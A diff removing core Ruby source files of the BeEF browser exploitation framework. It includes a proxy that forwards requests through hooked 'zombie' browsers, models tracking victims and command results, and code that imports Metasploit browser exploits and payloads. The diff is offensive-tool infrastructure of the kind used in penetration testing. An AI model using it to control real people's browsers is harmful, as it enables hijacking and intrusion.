||||
|
||||
# verify the browser version string is valid
|
||||
def self.is_valid_browserversion?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return true if str.eql? "UNKNOWN"
|
||||
return false if not nums_only?(str) and not is_valid_float?(str)
|
||||
return false if str.length > 10
|
||||
true
|
||||
end
|
||||
|
||||
# verify the browser/UA string is valid
|
||||
def self.is_valid_browserstring?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
|
||||
# verify the hostname string is valid
|
||||
def self.is_valid_hostname?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 255
|
||||
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil?
|
||||
return false if not (str =~ /\.\./).nil?
|
||||
return false if not (str =~ /\-\-/).nil?
|
||||
true
|
||||
end
|
||||
|
||||
# verify the browser_plugins string is valid
|
||||
def self.is_valid_browser_plugins?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if str.length > 400
|
||||
return (str =~ /[^\w\d\s()-.,;_!\302\256]/).nil? # \302\256 is the (r) character
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,12 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
module Filter
|
||||
|
||||
def self.is_valid_msf_payload_name?(name)
|
||||
return false if only?("a-z_/", name)
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,27 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
module Filter
|
||||
|
||||
def self.is_valid_verb?(verb)
|
||||
return true if verb.eql? 'GET' or verb.eql? 'POST'
|
||||
false
|
||||
end
|
||||
|
||||
def self.is_valid_url?(uri)
|
||||
return true if uri.eql? WEBrick::HTTPUtils.normalize_path(uri)
|
||||
false
|
||||
end
|
||||
|
||||
def self.is_valid_http_version?(version)
|
||||
return true if version.eql? "HTTP/1.1" or trailer.eql? "HTTP/1.0"
|
||||
false
|
||||
end
|
||||
|
||||
def self.is_valid_host_str?(host_str)
|
||||
return true if host_str.eql? "Host:"
|
||||
false
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,24 +0,0 @@
|
||||
require 'webrick/httpproxy'
|
||||
require 'webrick/httputils'
|
||||
|
||||
module BeEF
|
||||
class HttpProxyBase < WEBrick::HTTPProxyServer
|
||||
|
||||
# call BeEF::HttpProxyZombie.instance
|
||||
include Singleton
|
||||
|
||||
attr_reader :config
|
||||
|
||||
def initialize
|
||||
@configuration = BeEF::Configuration.instance
|
||||
@config[:Logger] = WEBrick::Log.new($stdout, WEBrick::Log::ERROR)
|
||||
@config[:ServerType] = Thread
|
||||
super(@config)
|
||||
end
|
||||
|
||||
# remove beef hook if it exists
|
||||
def remove_hook(res)
|
||||
res.body.gsub!(%r'<script.*?http.*?exploit.js.*?</script>', '')
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,42 +0,0 @@
|
||||
require 'webrick/httpproxy'
|
||||
require 'webrick/httputils'
|
||||
|
||||
module BeEF
|
||||
class HttpProxyZombie < HttpProxyBase
|
||||
|
||||
attr_accessor :proxy_zombie_id
|
||||
|
||||
def initialize
|
||||
@configuration = BeEF::Configuration.instance
|
||||
|
||||
@config = {}
|
||||
@config[:BindAddress] = @configuration.get('http_proxy_bind_address')
|
||||
@config[:Port] = @configuration.get('http_proxy_bind_port')
|
||||
@config[:ServerName] = "BeEF " + @configuration.get('beef_version')
|
||||
@config[:ServerSoftware] = "BeEF " + @configuration.get('beef_version')
|
||||
|
||||
proxy_zombie_id = nil
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
def service(req, res)
|
||||
|
||||
# TODO implement which HB to target
|
||||
if false
|
||||
return if proxy_zombie_id.nil? # check if zombie is set
|
||||
zombie = BeEF::Models::Zombie.get(proxy_zombie_id)
|
||||
return if not zombie # check if zombie is registered with beef
|
||||
else
|
||||
proxy_zombie_id = 1
|
||||
end
|
||||
|
||||
# blocking request
|
||||
res = HttpProxyZombieHandler::forward_request(proxy_zombie_id, req, res)
|
||||
|
||||
# remove beef hook if it exists
|
||||
remove_hook(res)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -1,58 +0,0 @@
|
||||
require 'webrick/httprequest'
|
||||
require 'webrick/httpresponse'
|
||||
|
||||
module BeEF
|
||||
|
||||
module HttpProxyZombieHandler
|
||||
|
||||
# Variable representing the Http DB model.
|
||||
H = BeEF::Models::Http
|
||||
|
||||
# This function will forward requests to the zombie and
|
||||
# the browser will perform the request. Then the results
|
||||
# will be sent back to use
|
||||
def forward_request(zombie_id, req, res)
|
||||
|
||||
# Generate a id for the req in the http table and check it doesnt already exist
|
||||
http_id = rand(10000)
|
||||
http_db = H.first(:id => http_id) || nil
|
||||
|
||||
while !http_db.nil?
|
||||
http_id = rand(10000)
|
||||
http_db = H.first(:id => http_id) || nil
|
||||
end
|
||||
|
||||
# some debug info
|
||||
puts "[PROXY] Forwarding request #" + http_id.to_s + " from zombie [" + zombie_id.to_s + "]" + " to host [" + req.host.to_s + "]"
|
||||
|
||||
# Saves the new HTTP request to the db for processing by HB
|
||||
http = H.new(
|
||||
:id => http_id,
|
||||
:request => req,
|
||||
:method => req.request_method.to_s,
|
||||
:domain => req.host.to_s,
|
||||
:path => req.path.to_s,
|
||||
:date => Time.now,
|
||||
:zombie_id => zombie_id
|
||||
)
|
||||
http.save
|
||||
|
||||
# Polls the DB for the response and then sets it when present
|
||||
|
||||
http_db = H.first(:id => http_id)
|
||||
|
||||
while !http_db.has_ran
|
||||
sleep 1
|
||||
http_db = H.first(:id => http_id)
|
||||
end
|
||||
|
||||
res.body = http_db.response
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
module_function :forward_request
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,86 +0,0 @@
|
||||
require 'rubygems'
|
||||
require 'webrick'
|
||||
require 'webrick/httpproxy'
|
||||
require 'dm-core'
|
||||
require 'dm-migrations'
|
||||
require 'json'
|
||||
require 'ansi'
|
||||
require 'optparse'
|
||||
require 'cgi'
|
||||
require 'parseconfig'
|
||||
require 'singleton'
|
||||
require 'ipaddr'
|
||||
require 'base64'
|
||||
require 'xmlrpc/client'
|
||||
require 'erubis'
|
||||
|
||||
require 'lib/patches/webrick/httprequest'
|
||||
require 'lib/patches/webrick/cookie'
|
||||
require 'lib/patches/webrick/genericserver'
|
||||
require 'lib/patches/webrick/httpresponse'
|
||||
require 'lib/patches/webrick/httpservlet/filehandler.rb'
|
||||
|
||||
require 'lib/constants'
|
||||
require 'lib/filter/base.rb'
|
||||
require 'lib/filter/command.rb'
|
||||
require 'lib/filter/requester.rb'
|
||||
require 'lib/filter/init.rb'
|
||||
|
||||
require 'lib/model/user'
|
||||
require 'lib/model/commandmodule'
|
||||
require 'lib/model/zombie'
|
||||
require 'lib/model/log'
|
||||
require 'lib/model/command'
|
||||
require 'lib/model/result'
|
||||
require 'lib/model/autoloading'
|
||||
require 'lib/model/plugin'
|
||||
require 'lib/model/http'
|
||||
require 'lib/model/browserdetails'
|
||||
require 'lib/model/distributedenginerules'
|
||||
require 'lib/model/dynamiccommandinfo'
|
||||
require 'lib/model/dynamicpayloadinfo.rb'
|
||||
require 'lib/model/dynamicpayloads.rb'
|
||||
require 'lib/model/optioncache.rb'
|
||||
|
||||
|
||||
require 'lib/crypto'
|
||||
|
||||
require 'lib/configuration'
|
||||
|
||||
require 'lib/console/banner'
|
||||
require 'lib/console/commandline'
|
||||
require 'lib/migration'
|
||||
|
||||
require 'lib/server/modules/common'
|
||||
require 'lib/server/modules/requester'
|
||||
|
||||
require 'lib/server/httphandler'
|
||||
require 'lib/server/httpcontroller'
|
||||
|
||||
require 'lib/server/httphookserver'
|
||||
require 'lib/httpproxybase'
|
||||
require 'lib/httpproxyzombie'
|
||||
require 'lib/httpproxyzombiehandler'
|
||||
|
||||
require 'lib/server/assethandler'
|
||||
require 'lib/server/filehandler'
|
||||
require 'lib/server/zombiehandler'
|
||||
require 'lib/server/commandhandler'
|
||||
require 'lib/server/publichandler'
|
||||
require 'lib/server/requesterhandler'
|
||||
require 'lib/server/inithandler'
|
||||
require 'lib/server/eventhandler'
|
||||
require 'lib/server/dynamichandler'
|
||||
|
||||
require 'lib/logger'
|
||||
require 'lib/modules/command'
|
||||
|
||||
require 'lib/modules/msfclient'
|
||||
require 'lib/modules/msfcommand'
|
||||
|
||||
require 'openssl'
|
||||
|
||||
# load command modules
|
||||
Dir["#{$root_dir}/modules/commands/**/*.rb"].each do |command|
|
||||
require command
|
||||
end
|
||||
@@ -1,24 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# This class takes care of logging events in the db.
|
||||
#
|
||||
class Logger
|
||||
|
||||
include Singleton
|
||||
|
||||
def initialize
|
||||
@logs = BeEF::Models::Log
|
||||
end
|
||||
|
||||
# Registers a new event in the logs
|
||||
def register(from, event, zombie = 0)
|
||||
@logs.new(:type => "#{from}", :event => "#{event}", :date => Time.now, :zombie_id => zombie).save
|
||||
end
|
||||
|
||||
private
|
||||
@logs
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
123
lib/migration.rb
123
lib/migration.rb
@@ -1,123 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# This class migrates and updates values in the database each time you restart BeEF.
|
||||
# So for example, when you want to add a new command module, you stop BeEF, copy your command module into the framework
|
||||
# and then restart BeEF. That class will take care of installing automatically the new command module in the db.
|
||||
#
|
||||
class Migration
|
||||
|
||||
include Singleton
|
||||
|
||||
#
|
||||
# Updates the database.
|
||||
#
|
||||
def update_db!
|
||||
update_commands!
|
||||
update_plugins!
|
||||
end
|
||||
|
||||
#
|
||||
# Checks for new command modules and updates the database.
|
||||
#
|
||||
def update_commands!
|
||||
db_commands = [], folders = ''
|
||||
|
||||
BeEF::Models::CommandModule.all.each {|db_command|
|
||||
db_commands.push(db_command.path)
|
||||
}
|
||||
|
||||
Dir.foreach("#{$root_dir}/modules/commands/") do |folder|
|
||||
folders += "#{folder}|" if not ['.', '..'].include? folder and File.directory? "#{$root_dir}/modules/commands/#{folder}"
|
||||
end
|
||||
|
||||
regex = /\/modules\/commands\/(#{folders})\/(.*).rb/i
|
||||
|
||||
Dir["#{$root_dir}/modules/commands/**/*.rb"].each do |command|
|
||||
if (command = command.match(regex)[0])
|
||||
BeEF::Models::CommandModule.new(:path => command, :name => /.*\/(\w+)\.rb/.match(command).to_a[1]).save if not db_commands.include? command
|
||||
end
|
||||
end
|
||||
|
||||
msf = BeEF::MsfClient.instance
|
||||
if(msf.is_enabled && msf.login())
|
||||
Thread.new() {
|
||||
sploits = msf.browser_exploits()
|
||||
sploits.each do |sploit|
|
||||
if not BeEF::Models::CommandModule.first(:name => sploit)
|
||||
mod = BeEF::Models::CommandModule.new(:path => "Dynamic/Msf", :name => sploit)
|
||||
mod.save
|
||||
if mod.dynamic_command_info == nil
|
||||
msfi = msf.get_exploit_info(sploit)
|
||||
|
||||
st = sploit.split('/').first
|
||||
targets = []
|
||||
|
||||
os_name = BeEF::Constants::Os::match_os(st)
|
||||
|
||||
browsers = BeEF::Constants::Browsers::match_browser(msfi['name'] + msfi['targets'].to_json)
|
||||
|
||||
targets << {'os_name' => os_name, 'browser_name' => 'ALL', 'verified_status' => 3} if browsers.count == 0
|
||||
|
||||
browsers.each do |bn|
|
||||
targets << {'os_name' => os_name, 'browser_name' => bn, 'verified_status' => 1}
|
||||
end
|
||||
|
||||
targets << {'os_name' => "ALL", 'verified_status' => 0 }
|
||||
|
||||
|
||||
msfci = BeEF::Models::DynamicCommandInfo.new(
|
||||
:name => msfi['name'],
|
||||
:description => msfi['description'],
|
||||
:targets => targets.to_json)
|
||||
|
||||
mod.dynamic_command_info = msfci
|
||||
mod.save
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
payloads = msf.payloads()
|
||||
payloads.each do |payload|
|
||||
if not BeEF::Models::DynamicPayloads.first( :name => payload)
|
||||
pl = BeEF::Models::DynamicPayloads.new( :name => payload)
|
||||
pl.save
|
||||
opts = msf.payload_options(payload)
|
||||
opts.keys.each do |opt|
|
||||
next if opts[opt]['advanced'] or opts[opt]['evasion']
|
||||
pl.dynamic_payload_info.new(:name => opt, :description => opts[opt]['desc'], :required => opts[opt]['required'], :value => opts[opt]['default'])
|
||||
end
|
||||
pl.save
|
||||
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Checks for new plugins and updates the database.
|
||||
#
|
||||
def update_plugins!
|
||||
db_plugins = [], folders = ''
|
||||
|
||||
BeEF::Models::Plugin.all.each {|db_plugin| db_plugins.push(db_plugin.path)}
|
||||
|
||||
Dir.foreach("#{$root_dir}/modules/plugins/") do |folder|
|
||||
folders += "#{folder}|" if not ['.', '..'].include? folder and File.directory? "#{$root_dir}/modules/plugins/#{folder}"
|
||||
end
|
||||
|
||||
regex = /\/modules\/plugins\/(#{folders})\/(\w+)\/(\w+).rb/i
|
||||
|
||||
Dir["#{$root_dir}/modules/plugins/**/*.rb"].each do |plugin|
|
||||
if (plugin = plugin.match(regex)[0])
|
||||
BeEF::Models::Plugin.new(:path => plugin).save if not db_plugins.include? plugin
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
@@ -1,18 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class Autoloading
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'autoloading'
|
||||
|
||||
property :id, Serial
|
||||
property :in_use, Boolean
|
||||
|
||||
belongs_to :command
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,95 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class BrowserDetails
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
attr_reader :guard
|
||||
|
||||
#
|
||||
# Class constructor
|
||||
#
|
||||
def initialize(config)
|
||||
# we set up a mutex
|
||||
super(config)
|
||||
@@guard = Mutex.new
|
||||
end
|
||||
|
||||
storage_names[:default] = 'browser_details'
|
||||
|
||||
property :session_id, Text, :key => true
|
||||
property :detail_key, Text, :lazy => false, :key => true
|
||||
property :detail_value, Text, :lazy => false
|
||||
|
||||
#
|
||||
# Returns the requested value from the data store
|
||||
#
|
||||
def self.get(session_id, key)
|
||||
browserdetail = first(:session_id => session_id, :detail_key => key)
|
||||
|
||||
return nil if browserdetail.nil?
|
||||
return nil if browserdetail.detail_value.nil?
|
||||
return browserdetail.detail_value
|
||||
end
|
||||
|
||||
#
|
||||
# Stores a key->value pair into the data store
|
||||
#
|
||||
def self.set(session_id, detail_key, detail_value)
|
||||
# if the details already exist don't re-add them
|
||||
return nil if not get(session_id, detail_key).nil?
|
||||
|
||||
# store the returned browser details
|
||||
browserdetails = BeEF::Models::BrowserDetails.new(
|
||||
:session_id => session_id,
|
||||
:detail_key => detail_key,
|
||||
:detail_value => detail_value)
|
||||
|
||||
@@guard.synchronize {
|
||||
result = browserdetails.save
|
||||
# if the attempt to save the browser details fails return a bad request
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Failed to save browser details" if result.nil?
|
||||
}
|
||||
|
||||
browserdetails
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the icon representing the browser type the
|
||||
# hooked browser is using (i.e. Firefox, Internet Explorer)
|
||||
#
|
||||
def self.browser_icon(session_id)
|
||||
|
||||
browser = get(session_id, 'BrowserName')
|
||||
|
||||
return BeEF::Constants::Agents::AGENT_IE_IMG if browser.eql? "IE" # Internet Explorer
|
||||
return BeEF::Constants::Agents::AGENT_FIREFOX_IMG if browser.eql? "FF" # Firefox
|
||||
return BeEF::Constants::Agents::AGENT_SAFARI_IMG if browser.eql? "S" # Safari
|
||||
return BeEF::Constants::Agents::AGENT_CHROME_IMG if browser.eql? "C" # Chrome
|
||||
return BeEF::Constants::Agents::AGENT_OPERA_IMG if browser.eql? "O" # Opera
|
||||
|
||||
BeEF::Constants::Agents::AGENT_UNKNOWN_IMG
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the icon representing the os type the
|
||||
# zombie is running (i.e. Windows, Linux)
|
||||
#
|
||||
def self.os_icon(session_id)
|
||||
|
||||
ua_string = get(session_id, 'BrowserReportedName')
|
||||
|
||||
return BeEF::Constants::Os::OS_UNKNOWN_IMG if ua_string.nil? # Unknown
|
||||
return BeEF::Constants::Os::OS_WINDOWS_IMG if ua_string.include? BeEF::Constants::Os::OS_WINDOWS_UA_STR # Windows
|
||||
return BeEF::Constants::Os::OS_LINUX_IMG if ua_string.include? BeEF::Constants::Os::OS_LINUX_UA_STR # Linux
|
||||
return BeEF::Constants::Os::OS_IPHONE_IMG if ua_string.include? BeEF::Constants::Os::OS_IPHONE_UA_STR # iPhone - do this before Mac, because it includes Mac
|
||||
return BeEF::Constants::Os::OS_MAC_IMG if ua_string.include? BeEF::Constants::Os::OS_MAC_UA_STR # Mac OS X
|
||||
|
||||
BeEF::Constants::Os::OS_UNKNOWN_IMG
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,53 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class Command
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'commands'
|
||||
|
||||
property :id, Serial
|
||||
property :data, Text
|
||||
property :creationdate, String, :length => 15, :lazy => false
|
||||
property :label, Text, :lazy => false
|
||||
property :instructions_sent, Boolean, :default => false
|
||||
|
||||
has n, :results
|
||||
has n, :autoloadings
|
||||
|
||||
#
|
||||
# Save results and flag that the command has been run on the hooked browser
|
||||
#
|
||||
# @param: {String} the session_id. Must have been checked with BeEF::Filter.is_valid_hook_session_id?(hook_session_id) before use in this function.
|
||||
# @param: {String} the command_id. Must have been checked with BeEF::Filter.is_valid_commmamd_id?(command_id) before use in this function.
|
||||
# @param: {String} the command friendly name. Must have been checked with command_friendly_name.empty? before use in this function.
|
||||
# @param: {String} the result of the command module. Must have been checked with result.empty? before use in this function.
|
||||
#
|
||||
def self.save_result(hook_session_id, command_id, command_friendly_name, result)
|
||||
|
||||
# get the hooked browser structure and id from the database
|
||||
zombie = BeEF::Models::Zombie.first(:session => hook_session_id) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie.id is nil" if zombie.id.nil?
|
||||
zombie_id = zombie.id
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie.ip is nil" if zombie.ip.nil?
|
||||
zombie_ip = zombie.ip
|
||||
|
||||
# get the command module data structure from the database
|
||||
command = first(:id => command_id.to_i, :zombie_id => zombie_id) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command is nil" if command.nil?
|
||||
|
||||
# create the entry for the results
|
||||
command.results.new(:zombie_id => zombie_id, :data => result.to_json, :date => Time.now.to_i)
|
||||
command.save
|
||||
|
||||
# log that the result was returned
|
||||
BeEF::Logger.instance.register('Command', "The '#{command_friendly_name}' command module was successfully executed against '#{zombie_ip}'", zombie_id)
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,21 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class CommandModule
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'command_modules'
|
||||
|
||||
property :id, Serial
|
||||
property :path, Text, :lazy => false
|
||||
property :name, Text, :lazy => false
|
||||
|
||||
has n, :commands
|
||||
has 1, :dynamic_command_info
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,17 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class DistributedEngineRules
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'distributed_engine_rules'
|
||||
|
||||
property :id, Serial
|
||||
property :data, Text
|
||||
property :enabled, Boolean
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,20 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class DynamicCommandInfo
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'dynamic_command_info'
|
||||
|
||||
property :id, Serial
|
||||
property :name, Text, :lazy => false
|
||||
property :description, Text, :lazy => false
|
||||
property :targets, Text, :lazy => false
|
||||
belongs_to :command_module
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,21 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class DynamicPayloadInfo
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'dynamic_payload_info'
|
||||
|
||||
property :id, Serial
|
||||
property :name, String, :length => 15
|
||||
property :value, String, :length => 30
|
||||
property :required, Boolean, :default => false
|
||||
property :description, Text, :lazy => false
|
||||
belongs_to :dynamic_payloads
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,19 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class DynamicPayloads
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'dynamic_payloads'
|
||||
|
||||
property :id, Serial
|
||||
property :name, Text, :lazy => false
|
||||
|
||||
has n, :dynamic_payload_info
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,23 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class Http
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'http'
|
||||
|
||||
property :id, Serial
|
||||
property :request, Text, :lazy => true
|
||||
property :response, Text, :lazy => true
|
||||
property :method, Text, :lazy => false
|
||||
property :content_length, Text, :lazy => false, :default => 0
|
||||
property :domain, Text, :lazy => false
|
||||
property :path, Text, :lazy => false
|
||||
property :date, DateTime, :lazy => false
|
||||
property :has_ran, Boolean, :default => false
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,19 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class Log
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'logs'
|
||||
|
||||
property :id, Serial
|
||||
property :type, Text, :lazy => false
|
||||
property :event, Text, :lazy => false
|
||||
property :date, DateTime, :lazy => false
|
||||
property :zombie_id, Text, :lazy => false
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,17 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class OptionCache
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'option_cache'
|
||||
|
||||
property :id, Serial
|
||||
property :name, Text
|
||||
property :value, Text
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,17 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class Plugin
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'plugins'
|
||||
|
||||
property :id, Serial
|
||||
property :data, Text, :lazy => false
|
||||
property :path, Text, :lazy => false
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,17 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class Result
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'results'
|
||||
|
||||
property :id, Serial
|
||||
property :date, String, :length => 15, :lazy => false
|
||||
property :data, Text
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,24 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class User
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'users'
|
||||
|
||||
property :id, Serial
|
||||
property :session_id, Text
|
||||
property :ip, Text
|
||||
|
||||
#
|
||||
# Checks if the user has been authenticated
|
||||
#
|
||||
def authenticated?
|
||||
true || false if not @ip.nil?
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,69 +0,0 @@
|
||||
module BeEF
|
||||
module Models
|
||||
|
||||
class Zombie
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'zombies'
|
||||
|
||||
property :id, Serial
|
||||
property :session, Text, :lazy => false
|
||||
property :ip, Text, :lazy => false
|
||||
property :firstseen, String, :length => 15
|
||||
property :lastseen, String, :length => 15
|
||||
property :httpheaders, Text, :lazy => false
|
||||
property :domain, Text, :lazy => false # the domain originating the hook request
|
||||
property :count, Integer, :lazy => false
|
||||
property :has_init, Boolean, :default => false
|
||||
|
||||
has n, :commands
|
||||
has n, :results
|
||||
has n, :logs
|
||||
has n, :https
|
||||
|
||||
#
|
||||
# Increases the count of a zombie
|
||||
#
|
||||
def count!
|
||||
if not self.count.nil? then self.count += 1; else self.count = 1; end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the icon representing the browser type the
|
||||
# zombie is using (i.e. Firefox, Internet Explorer)
|
||||
#
|
||||
def browser_icon
|
||||
agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil
|
||||
|
||||
return BeEF::Constants::Agents::AGENT_UNKNOWN_IMG if agent.nil?
|
||||
return BeEF::Constants::Agents::AGENT_IE_IMG if agent.include? BeEF::Constants::Agents::AGENT_IE_UA_STR
|
||||
return BeEF::Constants::Agents::AGENT_FIREFOX_IMG if agent.include? BeEF::Constants::Agents::AGENT_FIREFOX_UA_STR
|
||||
return BeEF::Constants::Agents::AGENT_MOZILLA_IMG if agent.include? BeEF::Constants::Agents::AGENT_MOZILLA_UA_STR
|
||||
return BeEF::Constants::Agents::AGENT_SAFARI_IMG if agent.include? BeEF::Constants::Agents::AGENT_SAFARI_UA_STR
|
||||
return BeEF::Constants::Agents::AGENT_KONQ_IMG if agent.include? BeEF::Constants::Agents::AGENT_KONQ_UA_STR
|
||||
return BeEF::Constants::Agents::AGENT_CHROME_IMG if agent.include? BeEF::Constants::Agents::AGENT_CHROME_UA_STR
|
||||
return BeEF::Constants::Agents::AGENT_OPERA_IMG if agent.include? BeEF::Constants::Agents::AGENT_OPERA_UA_STR
|
||||
|
||||
BeEF::Constants::Agents::AGENT_UNKNOWN_IMG
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the icon representing the os type the
|
||||
# hooked browser is running (i.e. Windows, Linux)
|
||||
#
|
||||
def os_icon
|
||||
agent = JSON.parse(self.httpheaders)['user-agent'].to_s || nil
|
||||
|
||||
return BeEF::Constants::Os::OS_UNKNOWN_IMG if agent.nil?
|
||||
return BeEF::Constants::Os::OS_WINDOWS_IMG if agent.include? BeEF::Constants::Os::OS_WINDOWS_UA_STR
|
||||
return BeEF::Constants::Os::OS_LINUX_IMG if agent.include? BeEF::Constants::Os::OS_LINUX_UA_STR
|
||||
return BeEF::Constants::Os::OS_MAC_IMG if agent.include? BeEF::Constants::Os::OS_MAC_UA_STR
|
||||
|
||||
BeEF::Constants::Os::OS_UNKNOWN_IMG
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
@@ -1,309 +0,0 @@
|
||||
module BeEF
|
||||
|
||||
#
|
||||
# This module contains a list of utils functions to use
|
||||
# when writing commands.
|
||||
#
|
||||
module CommandUtils
|
||||
|
||||
# Format a string to support multiline in javascript.
|
||||
def format_multiline(text); text.gsub(/\n/, '\n'); end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# The Command Module Context is being used when evaluating code in eruby.
|
||||
# In other words, we use that code to add funky functions to the
|
||||
# javascript templates of our commands.
|
||||
#
|
||||
class CommandContext < Erubis::Context
|
||||
include BeEF::CommandUtils
|
||||
|
||||
def initialize(hash=nil);
|
||||
super(hash);
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# This class is the base class for all command modules in the framework.
|
||||
#
|
||||
# Two instances of this object are created during the execution of command module.
|
||||
#
|
||||
class Command
|
||||
|
||||
attr_reader :info, :datastore, :path, :default_command_url, :beefjs_components, :friendlyname
|
||||
attr_accessor :zombie, :command_id, :session_id, :target
|
||||
|
||||
include BeEF::CommandUtils
|
||||
|
||||
BD = BeEF::Models::BrowserDetails
|
||||
|
||||
UNKNOWN = BeEF::Constants::Browsers::UNKNOWN
|
||||
ALL = BeEF::Constants::Browsers::ALL
|
||||
IE = BeEF::Constants::Browsers::IE
|
||||
S = BeEF::Constants::Browsers::S
|
||||
FF = BeEF::Constants::Browsers::FF
|
||||
C = BeEF::Constants::Browsers::C
|
||||
O = BeEF::Constants::Browsers::O
|
||||
|
||||
VERIFIED_WORKING = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING
|
||||
VERIFIED_NOT_WORKING = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING
|
||||
VERIFIED_USER_NOTIFY = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY
|
||||
VERIFIED_UNKNOWN = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN
|
||||
|
||||
# Super class controller
|
||||
def initialize(info)
|
||||
@info = info
|
||||
@datastore = @info['Data'] || {}
|
||||
@friendlyname = @info['Name'] || nil
|
||||
@target = @info['Target'] || nil
|
||||
@output = ''
|
||||
@path = @info['File'].sub(BeEF::HttpHookServer.instance.root_dir, '')
|
||||
